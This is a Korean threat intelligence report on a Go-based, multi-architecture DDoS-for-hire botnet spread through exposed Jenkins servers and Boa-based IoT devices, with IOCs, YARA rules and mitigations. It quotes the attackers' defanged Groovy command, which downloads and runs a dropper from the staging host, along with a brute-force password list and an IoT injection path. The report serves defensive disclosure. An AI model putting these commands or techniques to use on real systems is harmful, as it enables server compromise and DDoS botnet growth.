이 페이지는 번역본입니다. 공식 원문은 영어판입니다. 영어로 읽기
malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai
크로스 플랫폼 Go DDoS 임대 봇넷
Kinryū Labs는 11개 바이너리, 13개 아키텍처로 구성된 드로퍼 세트로 배포되고 여러 날에 걸친 Jenkins Script Console 익스플로잇 캠페인을 통해 전달된 Go 컴파일 DDoS 봇넷의 Windows 빌드 bot.exe를 분석하였다. 스테이징 호스트를 정찰한 결과 인증이 적용된 실동작 DDoS 임대 API, Go로 구현된 SSH 명령 채널, 그리고 같은 호스트에 함께 배치된 Mirai 계열 패밀리를 확인하였다. Kinryū Labs는 이것이 상업적 DDoS 임대 운영이라고 높은 확신도로 평가한다.
작성자 Davis Zheng·
TLP:CLEAR. 공개 배포 승인. Kinryū Labs 허니팟 센서 네트워크에서 수집하였다. 아래 지표는 무해화되어 있다.
요약
- 13개 아키텍처 빌드, 고유 바이너리 11종
- 5개의 명명된 DDoS 기법 및 임대 API
- 3개 출처 IP가 단일 /22 내에서 연계
- 2개 봇넷 패밀리가 한 호스트에 상주
bot.exe는 다중 아키텍처 드로퍼 세트로 배포되는 Go 컴파일 DDoS 봇넷의 Windows x86-64 빌드이다. 함께 배포되는 셸 스크립트 bins.sh는 13종의 아키텍처 빌드를 받아오며, 중복을 제거하면 11종이 고유하다. 대상은 32비트 및 64비트 x86, 네 가지 ARM 프로파일, ARM64, Android ARM64, 빅엔디언 및 리틀엔디언 MIPS이며, 여기에 Windows 바이너리가 더해진다. 이 세트는 외부에 노출된 Jenkins 서버에 대한 익스플로잇을 통해 허니팟 네트워크에 도달하였다.
이 악성코드에는 다섯 가지로 명명된 플러드 기법(HTTP, TLS 핸드셰이크, ICMP, 직접 TLS, 그리고 VOULT로 표기된 대용량 트래픽 기법), 정상 트래픽처럼 보이도록 브라우저 User-Agent 문자열과 로케일 헤더를 순환시키는 HTTP 플러드, 그리고 자기 전파를 위해 RealTek SDK 장비의 Boa 웹서버를 노리는 명령 주입 페이로드가 포함되어 있다. 185.226.93[.]242에 있는 스테이징 호스트를 정찰한 결과 3333번 포트의 인증 기반 DDoS 임대 API, 명령 채널로 동작하는 2222번 포트의 Go 구현 SSH 서비스, 그리고 Mirai/Gafgyt 계열의 두 번째 봇넷 패밀리를 스테이징하는 익명 FTP 서비스를 확인하였다.
Kinryū Labs는 bot.exe가 상업적 임대 서비스로 운영되는 악성 자기 전파형 다중 아키텍처 DDoS 봇넷의 일부라고 높은 확신도로 평가한다. 이 평가를 뒷받침하는 근거는 세 가지이다. 바이너리 자체에 담긴 공격 기법 및 익스플로잇 문자열, 작업 파라미터를 검증하고 인증을 요구하는 운영자 스테이징 호스트의 실동작 임대 API, 그리고 해당 세트를 전달한 연계된 출처 주소들로부터의 지속적 캠페인에 대한 허니팟 텔레메트리이다.
- bot.exe는 크로스 플랫폼 Go DDoS 봇넷이다. 대상과 지속 시간 파라미터를 담은 다섯 개의 개별 플러드 기법 로그 문자열이 브라우저 위장 기능 및 SOCKS5 지원과 함께 존재하며, 모두 난독화되지 않은 문자열로 남아 있고 실동작 API를 통해 교차 확인되었다.
- 이 작전은 상업적 DDoS 임대 서비스로 운영된다. 스테이징 호스트는 3333번 포트에서 작업 파라미터(
user,psw,host,method,time,port)를 검증하고 유효하지 않은 자격 증명을 거부하는 API를 노출한다. - 봇넷은 IoT 명령 주입을 통해 자기 전파한다. 바이너리에는 Boa
formSysCmd명령 주입 페이로드, 라우터 로그인 무작위 대입 경로, 그리고 내보내진loginDevice및loginDeviceCaptcha함수가 포함되어 있으며, 허니팟 로그에 기록된 것과 동일한 드로퍼 한 줄 명령을 주입한다. - 세 개의 출처 IP는 단일 운영자이다.
185.226.92[.]0/22내 세 주소가 동일한 페이로드를 연계된 시점에 동일한 자격 증명 목록과 함께 전달하였으며, 전달 IP와 스테이징 IP가 동일한 SSH 호스트 키를 제시하는 것은 단일 호스트이거나 복제된 이미지임을 시사한다.
전달: 지속적인 Jenkins Script Console 캠페인
이 세트는 인터넷에 노출된 Jenkins 인스턴스에 대한 익스플로잇으로 전달되었다. 허니팟 텔레메트리에는 일관된 2단계 수법이 기록되었다. CSRF 토큰을 얻기 위한 GET /crumbIssuer/api/json 요청에 이어 Groovy Script Console 페이로드를 담은 POST /script 요청이 이어졌다. 페이로드는 모든 시도에서 동일하였으며, 아래에서는 무해화하여 제시한다.
println new ProcessBuilder('sh','-c',
'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
curl -O hxxp://185.226.93[.]242:1001/bins.sh;
chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text
요청에는 admin 계정에 대해 취약한 숫자 비밀번호로 이루어진 짧은 사전을 순환시키는 Authorization: Basic 헤더가 포함되었다(admin:1123, admin:123451, admin:1231231, admin:1111111, admin:12345123). 이는 표적화된 인증이 아니라 자동화된 자격 증명 목록의 특징이다.
캠페인은 여러 날에 걸쳐 반복적인 공세로 진행되었다.
- 1차 공세최초 탐색: CSRF crumb 확인에 이어 Groovy RCE 실행. 스테이징 IP와 동일 블록의 두 번째 주소에서 발생하였다.
- 수집
bins.sh와 13종 변종 전체가 약 14시간 간격으로 두 차례 수집되었으며, 매번 바이트 단위로 동일하였다. - 후속 공세세 개 출처 IP 전부에서 수 분 이내에 병행 익스플로잇이 이루어졌고, User-Agent가 순환되었다.
익스플로잇 요청은 실제 브라우저처럼 보이는 다수의 User-Agent를 순환시켰으나, 추가 Jenkins 대상을 찾는 정찰 스윕(/login 요청에 이어 /script 요청의 빠른 연발)은 기본값 Go-http-client/1.1을 사용하였다. 위조된 User-Agent는 익스플로잇 페이로드에 동반되며, 스캐너는 봇넷 고유의 Go 클라이언트를 사용한다. 스테이징 및 C2 호스트 자체가 익스플로잇에 참여하였으므로, 공격 인프라와 호스팅 인프라가 분리되어 있지 않다.
악성코드: 하나의 Go 코드베이스, 11개 바이너리
봇을 Go로 작성하면 하나의 코드베이스를 운영자가 원하는 모든 대상으로 크로스 컴파일할 수 있다. 드로퍼는 제품군 전체를 순회하며 각 빌드를 wget으로 받고 대체 수단으로 curl로 다시 받은 뒤, 실행 권한을 부여하고 실행한 다음 삭제한다. 세트에는 Windows .exe도 포함되는데, Linux 드로퍼는 이 파일에도 chmod +x를 적용한다. 또한 스크립트의 생성된 구조는 빌드와 목록화를 수행하는 파이프라인의 존재를 시사한다. 중복 제거 후 13개 빌드는 11개의 고유 바이너리로 줄어든다. x86과 i386 빌드가 일치하고, 일반 ARM과 ARMv7 빌드도 서로 일치한다. MIPS와 구형 ARM에서 Android에 이르는 아키텍처 분포는 라우터, 카메라 및 기타 임베디드 장비를 노린 봇넷임을 보여준다. Windows 빌드는 동일한 코드를 데스크톱과 서버로 확장한다.
바이너리는 패킹되어 있지 않고(PE 섹션 엔트로피가 5.4에서 6.3 사이) 심볼도 제거되지 않았으므로(Go 빌드 ID와 런타임 심볼이 온전하다) 기능이 평문 문자열로 드러난다. 컴파일 타임스탬프는 0으로 채워져 있는데, 이는 Go 빌드에서 정상적인 현상이다.
바이너리의 로그 문자열에는 다섯 가지 플러드 기법이 명명되어 있으며, 각각 대상과 지속 시간이 포맷된다. “HTTP (Optimized)” 플러드, TLS/TCP “Handshake” 고갈 플러드, ICMP “PING” 플러드, 직접 “TLS+” 세션 플러드, 그리고 대용량 트래픽 기반이며 UDP를 사용할 가능성이 높은 “VOULT” 기법이다. 애플리케이션 계층과 네트워크 계층 옵션이 모두 존재한다.
HTTP 플러드는 정상 트래픽으로 통과되도록 설계되었다. Windows, macOS, iPad, Android 상의 Chrome, Edge, Opera, Firefox, Safari를 아우르는 열 개 이상의 브라우저 User-Agent 문자열, 15종의 Accept-Language 로케일, 그리고 완화 서비스가 검사하는 sec-fetch-* 및 sec-ch-ua-* 지문 헤더를 순환시킨다. 또한 평판이 높은 소수의 사이트(google.com, reddit.com, facebook.com, bing.com, twitter.com, fbi.gov)에서 Referer를 설정한다. User-Agent 목록의 한 항목은 문자열 Hello World 그 자체이며, 이는 개발자가 남긴 자리표시자로서 정상 클라이언트가 전송하지 않으므로 명확한 탐지 시그니처가 된다.
전파는 Boa 웹서버를 표적으로 한다. Boa는 다수의 RealTek SDK 라우터와 카메라에 여전히 탑재되는 소형 임베디드 HTTP 데몬이다. 바이너리에는 Boa의 formSysCmd 핸들러를 노린 명령 주입 페이로드와 라우터 관리 인터페이스를 노린 로그인 무작위 대입 경로가 담겨 있으며, JSON 자격 증명 필드와 내보내진 함수 loginDevice 및 loginDeviceCaptcha가 함께 존재한다. 주입되는 명령은 드로퍼 한 줄 명령이므로, 침해된 장비는 다음 감염의 전달 지점이 된다.
벤더링된 Go 모듈은 모두 표준 golang.org/x 패키지이며, 서드파티 C2 프레임워크는 링크되어 있지 않다. 여기에는 chacha20poly1305, http2/hpack, dns/dnsmessage, http/httpproxy가 포함되어 관측 가능한 기능과 일치한다. 즉 인증된 암호화 채널, HTTP/2, 원시 DNS, SOCKS5 프록시 기능이다(문자열 socks5, socks connect, socksUsernamePassword가 존재한다). C2 설정은 실행 시점에 hxxp://<C2>/config.dat에서 가져오며, 바이너리에 하드코딩된 단일 주소는 스테이징 호스트이다.
명령제어 및 스테이징 인프라
스테이징 호스트를 정찰한 결과 다음 서비스를 확인하였다.
| 포트 | 서비스 | 용도 |
|---|---|---|
| 21/tcp | vsftpd 3.0.3, 익명 로그인 활성화 | 악성코드 스테이징(아래의 두 번째 패밀리) |
| 22/tcp | OpenSSH 9.2p1 (Debian) | 운영자 접근 |
| 1001/tcp | Go net/http 서버 | 주 스테이징: bins.sh와 변종 제공 |
| 2222/tcp | Go SSH (SSH-2.0-Go) | 봇 명령 채널 |
| 3333/tcp | Go net/http 서버 | DDoS 임대 API |
임대 서비스라는 평가를 뒷받침하는 소견은 두 가지이다. 전달 IP와 스테이징 호스트가 동일한 ED25519, RSA, ECDSA SSH 호스트 키를 제시하는데, 이는 두 주소가 같은 장비이거나 하나의 템플릿에서 복제된 이미지임을 의미한다. 또한 2222번 포트의 Go SSH 서비스는 22번 포트의 시스템 OpenSSH와 다른 키를 제시하므로, 포워딩이 아니라 별개의 애플리케이션임을 알 수 있다. 3333번 포트 API는 파라미터(user, psw, host, method, time/duration, port)가 누락된 요청을 거부하고, 시험용 자격 증명에 대해서는 인증 실패를 반환하며, 그 외 모든 경로는 404를 반환한다. 이는 요청마다 인증을 수행하는 상업용 부터의 최소 인터페이스이며, 실운영 인프라 상에서 동작하고 있다.
동일 호스트의 두 번째 패밀리
익명 FTP 서비스는 별개의 봇넷 패밀리를 스테이징하며, 여기서는 파일명을 따라 “boatnet”으로 지칭한다. 이 패밀리의 드로퍼(ohshit1.sh)는 BusyBox ftpget 클라이언트를 사용하고, 실행 전에 각 바이너리의 이름을 WTF로 변경하며, Mirai/Gafgyt 계열에서 볼 수 있는 이례적인 임베디드 대상(ARC, m68k, SH4, SPARC)을 포함한 15개 아키텍처의 빌드를 백그라운드로 실행한다. 바이너리는 C로 컴파일된 ELF이며 심볼이 제거되어 있고 패킹되어 있어(엔트로피 7.6에서 7.9, UPX 매직은 없으며 이는 자체 패커를 시사한다) 정적 분석으로 확인할 수 있는 정보가 거의 없다. boatnet 아티팩트는 bot.exe 세트보다 앞서 존재하였고 서로 무관한 코드베이스를 사용하므로, 한 호스트가 서로 다른 두 봇넷 패밀리를 스테이징하고 있는 것이다.
호스팅
두 공격자 IP 모두 185.226.92[.]0/22에 속하며, 이 대역은 RIPE NCC를 통해 튀르키예 소재 VPS 사업자(네트워크명 BIGCORE-US, AS205196 / AS57152)에 등록되어 있고 남용 신고 연락처는 abuse@bigcore.net이다. 호스팅 사업자는 신고 목적으로 특정하였을 뿐이며, 운영자의 신원에 대해서는 어떠한 주장도 하지 않는다.
침해 지표
공격자 인프라는 무해화하였다. 샘플 해시와 탐지 문자열은 의도적으로 실제 값을 그대로 기재한다.
네트워크
| 지표 | 설명 |
|---|---|
185.226.93[.]242 | 스테이징 + C2 호스트이며 활동 중인 스캐너이기도 함 |
185.226.92[.]110 | 주 스캐너 / 전달 노드 |
185.226.92[.]173 | 보조 스캐너 |
185.226.92[.]0/22 | 호스팅 할당 대역(BIGCORE, AS205196). 경계 차단이 타당함 |
185.226.93[.]242:1001 | HTTP 스테이징(bins.sh + 변종) |
185.226.93[.]242:2222 | Go SSH 명령 채널 |
185.226.93[.]242:3333 | DDoS 임대 API(/api, 파라미터 기반 차단) |
185.226.93[.]242:21 | 익명 FTP, boatnet 스테이징 |
hxxp://<C2>/config.dat | 실행 시점 C2 설정 조회 패턴 |
/boafrm/formSysCmd, /boafrm/formLogin | 외부 전파 시 사용되는 Boa RCE 및 로그인 무작위 대입 URI |
SSH 호스트 키(ED25519) …INAjVN5fIlxTHxT4R3yqTS8… | 전달 IP와 C2 IP에서 공통. 피벗 지표 |
파일
| 파일 | SHA-256 |
|---|---|
bot.exe (Windows x64) | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 |
bins.sh (드로퍼) | 15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6 |
boatnet.0eem0a9ali (i386) | 6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b |
boatnet.0t25ax67hl (x86-64) | 920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d |
- bot.exe MD5 / SHA-1 / imphash:
88efcb919000efb700a814fc23e31e3f/6817eae057adf831892995f514fca36c489fdd10/211e227000a1da3333aab2bad5282318 - Go Build ID:
euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
드로퍼 세트 전체 해시(13개 빌드 중 고유 11종)
| 빌드 | SHA-256 | 크기(바이트) |
|---|---|---|
amd64 | 3261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b70 | 5,919,119 |
x86 / i386 | 575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc398 | 5,787,832 |
arm / armv7l | 9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb10 | 5,898,424 |
arm5 | 365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea582 | 5,898,424 |
arm6 | 34186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f | 5,898,424 |
arm64 | ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b | 5,579,151 |
android_arm64 | 7d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf | 6,169,144 |
mips | 9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f5 | 6,619,351 |
mipsle | 14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde7 | 6,619,351 |
bot.exe | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 | 6,020,608 |
호스트 및 자격 증명 아티팩트
- Jenkins
admin무작위 대입 사전:1123,123451,1231231,1111111,12345123. ohshit1.sh(boatnet 드로퍼) 및 실행 전에WTF로 이름이 변경된 바이너리.- 특징적인 User-Agent:
Hello World(봇 HTTP 플러드) 및Go-http-client/1.1(봇 자체 스캔).
행위
- Jenkins
GET /crumbIssuer/api/json이후bins.sh를 받아오는 GroovyProcessBuilder('sh','-c', …)페이로드를 담은POST /script. Connecting to CNC...로그 라인 직후 발생하는/config.dat경로에 대한 외부 호스트 요청.sysCmdselect=5와wget … bins.sh본문을 포함한 인바운드POST /boafrm/formSysCmd.
탐지
문자열이 안정적이고 난독화되지 않았으므로 시그니처 작성은 간단하다. 아래 YARA 규칙은 검증된 문자열을 기반으로 작성한 후보 규칙이며, 배포 전에 검증이 필요하다.
rule go_ddos_bot_multiarch_candidate
{
meta:
description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
author = "Kinryu Labs honeypot CTI"
reference = "4de4621f...e3804" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$cnc = "Connecting to CNC..." ascii
$cfg = "/config.dat" ascii
$atk1 = "HTTP (Optimized) Attack started" ascii
$atk2 = "VOULT attack" ascii
$atk3 = "Handshake Attack started" ascii
$boa = "/boafrm/formSysCmd" ascii
$iot = "loginDeviceCaptcha" ascii
$drop = "bins.sh" ascii
condition:
($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}
네트워크 탐지:
- Jenkins: 원시 IP를 대상으로
wget/curl을 수행하는ProcessBuilder가 포함된POST /script본문에 대해 경보를 발생시킨다. 특히GET /crumbIssuer/api/json이 선행하는 경우를 주시한다. - IoT 전파:
content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";. - 인프라: 전달 및 C2 주소를 포함하는
185.226.92[.]0/22를 차단하고, 해당 대역의 1001, 2222, 3333번 포트로 향하는 아웃바운드 연결에 대해 경보를 발생시킨다.
대응 조치
- Jenkins를 인터넷에 노출하지 않는다. 인증과 네트워크 격리 뒤에 배치하고, 관리자 이외에는 Script Console을 비활성화하며, 외부에서 접근 가능한 빌드 서버는 호스트 전체 침해 위험으로 취급한다. 본 사례의 전달 경로가 바로 이것이었다.
- 강력한 Jenkins 자격 증명을 적용하고 인증 시도를 제한한다. 이 캠페인은
admin계정에 대한 취약한 숫자 비밀번호 사전에 의존하였다. - RealTek/Boa 기반 라우터와 IoT 장비를 분리하거나 교체하고, 관리 인터페이스에 대한 외부 접근을 차단한다. 이들이 봇넷의 전파 표적이다.
- 호스팅 할당 대역(
185.226.92[.]0/22)을 경계에서 차단하고, Boa RCE URI와config.dat조회 패턴에 대해 경보를 발생시킨다. - 이그레스를 필터링한다. 1001번 포트의 원시 IP에 접속해 아키텍처 이름이 붙은 파일을 받아오거나 해당 대역의 2222 또는 3333번 포트에 연결하는 호스트는 비정상이며, 호스트 탐지가 없는 환경에서도 포착할 수 있다.
- 인프라를 신고한다. DDoS 임대 API와 FTP로 스테이징된 악성코드는 호스팅 사업자의 남용 신고 연락처(
abuse@bigcore.net)에 신고할 수 있다.
MITRE ATT&CK 매핑
| 전술 | 기법 |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (Jenkins Script Console, 전파용 Boa formSysCmd) |
| Credential Access | T1110.001 Brute Force: Password Guessing (Jenkins admin), T1110.004 Credential Stuffing (IoT 로그인) |
| Execution | T1059 Command and Scripting Interpreter (Script Console을 통한 Groovy, Unix 셸 드로퍼) |
| Discovery | T1046 Network Service Scanning (Jenkins/IoT 자체 스캔), T1082 System Information Discovery, T1057 Process Discovery |
| Defense Evasion | T1036 Masquerading (브라우저 User-Agent 순환, boatnet의 WTF 이름 변경) |
| Command and Control | T1071.001 Web Protocols (config.dat), T1573 Encrypted Channel (ChaCha20-Poly1305, 2222번 포트의 Go SSH), T1571 Non-Standard Port (1001/2222/3333), T1090.001 Internal Proxy: SOCKS |
| Lateral Movement / Delivery | T1105 Ingress Tool Transfer (다중 아키텍처 스테이징) |
| Impact | T1498.001 Direct Network Flood (PING, VOULT), T1498.002 Reflection Amplification (핸드셰이크 고갈) |
방법론 및 참고 사항
- 범위: 수집된 바이너리에 대한 정적 분석(실행하지 않음)과 스테이징 호스트에 대한 능동적 외부 정찰(서비스 및 배너 열거, 익명 FTP 목록 조회, 3333번 포트 API에 대한 비인증 탐침). 인증을 우회한 행위는 없었다.
- YARA 규칙은 검증된 문자열을 기반으로 작성한 후보 규칙이며, 배포 전에 검증이 필요하다. boatnet 바이너리는 패킹되어 있어 확보된 문자열이 거의 없었다.
- 샘플(bot.exe 세트, 드로퍼, boatnet 아티팩트)은 다른 연구자와 방어자에게 요청에 따라 제공한다. contact@kinryu.sh로 신원과 사용 목적을 간단히 적어 보내면 된다.